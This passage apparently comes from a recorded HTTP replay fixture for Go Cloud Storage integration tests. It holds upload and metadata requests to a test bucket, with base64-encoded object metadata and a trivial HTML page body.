EzLTAwMDEvby9jb250ZW50L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29udGVudCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODczMDU1OTIzIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0xQSnY4bngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3MzA1NTkyMy9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MzA1NTkyMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDTFBKdjhueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczMDU1OTIzL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29udGVudCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODczMDU1OTIzIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0xQSnY4bngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJHb1Vic1E9PSIsImV0YWciOiJDTFBKdjhueC9lRUNFQUU9In0=" - } - }, - { - "ID": "096d156b863922d6", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvaHRtbCIsIm5hbWUiOiJjb250ZW50In0K", - "PGh0bWw+PGhlYWQ+PHRpdGxlPk15IGZpcnN0IHBhZ2U8L3RpdGxlPjwvaGVhZD48L2h0bWw+" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3197" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:33 GMT" - ], - "Etag": [ - "CPW+6cnx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoivaSzjVdOm2KP4nXCF8VQDNHXmlNjm9rZwTaWzjvBmH3oK01QYTnHqZ5DhYRewu_1H0KoQgFpUIC-M4OKZoOhRHrq0-H8HLT__SqD1D5cmezrqHo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzM3NDI3MDkiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50IiwibmFtZSI6ImNvbnRlbnQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3Mzc0MjcwOSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9odG1sIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjMzLjc0MloiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozMy43NDJaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzMuNzQyWiIsInNpemUiOiI1NCIsIm1kNUhhc2giOiJOOHA4L3M5RndkQUFubHZyL2xFQWpRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudD9nZW5lcmF0aW9uPTE1NTY4MzU4NzM3NDI3MDkmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczNzQyNzA5L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3Mzc0MjcwOSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDUFcrNmNueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczNzQyNzA5L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29udGVudCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODczNzQyNzA5IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ1BXKzZjbngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3Mzc0MjcwOS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3Mzc0MjcwOSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDUFcrNmNueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczNzQyNzA5L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29udGVudCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODczNzQyNzA5IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ1BXKzZjbngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJHb1Vic1E9PSIsImV0YWciOiJDUFcrNmNueC9lRUNFQUU9In0=" - } - }, - { - "ID": "0e96d304e9558094", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/content?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3197" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:34 GMT" - ], - "Etag": [ - "CPW+6cnx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uoc-8JwtQprLtec5Ft6q3z4p0ooDaCCLmO9oVgrOXvBpoFhApztj8anfFwEcHdzpB6FBlUFqou0viF_HLHJvHolsxeCCoDOhqyIggOOlWjnSRg8XzY" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzM3NDI3MDkiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50IiwibmFtZSI6ImNvbnRlbnQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3Mzc0MjcwOSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9odG1sIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjMzLjc0MloiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozMy43NDJaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzMuNzQyWiIsInNpemUiOiI1NCIsIm1kNUhhc2giOiJOOHA4L3M5RndkQUFubHZyL2xFQWpRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudD9nZW5lcmF0aW9uPTE1NTY4MzU4NzM3NDI3MDkmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczNzQyNzA5L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3Mzc0MjcwOSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDUFcrNmNueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczNzQyNzA5L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29udGVudCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODczNzQyNzA5IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ1BXKzZjbngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3Mzc0MjcwOS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3Mzc0MjcwOSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDUFcrNmNueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczNzQyNzA5L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29udGVudCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODczNzQyNzA5IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ1BXKzZjbngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJHb1Vic1E9PSIsImV0YWciOiJDUFcrNmNueC9lRUNFQUU9In0=" - } - }, - { - "ID": "b4c8dedc10a69e07", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6ImltYWdlL2pwZWciLCJuYW1lIjoiY29udGVudCJ9Cg==", - "PGh0bWw+PGhlYWQ+PHRpdGxlPk15IGZpcnN0IHBhZ2U8L3RpdGxlPjwvaGVhZD48L2h0bWw+" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3198" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:34 GMT" - ], - "Etag": [ - "CM/Yjsrx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpC3UBVkNENjfRoaL2M1fPRh-iTDTwCsgF8O3TOX_iBuXcDxMjOoTmrIhD4cE5g1s7PObP66TZB1lecFypnLz8hL-aowsOxUMuL0KXJvrgoGxKHUFg" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzQzNTIyMDciLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50IiwibmFtZSI6ImNvbnRlbnQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NDM1MjIwNyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiaW1hZ2UvanBlZyIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozNC4zNTFaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzQuMzUxWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM0LjM1MVoiLCJzaXplIjoiNTQiLCJtZDVIYXNoIjoiTjhwOC9zOUZ3ZEFBbmx2ci9sRUFqUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQ/Z2VuZXJhdGlvbj0xNTU2ODM1ODc0MzUyMjA3JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3NDM1MjIwNy9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb250ZW50IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzQzNTIyMDciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ00vWWpzcngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3NDM1MjIwNy9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb2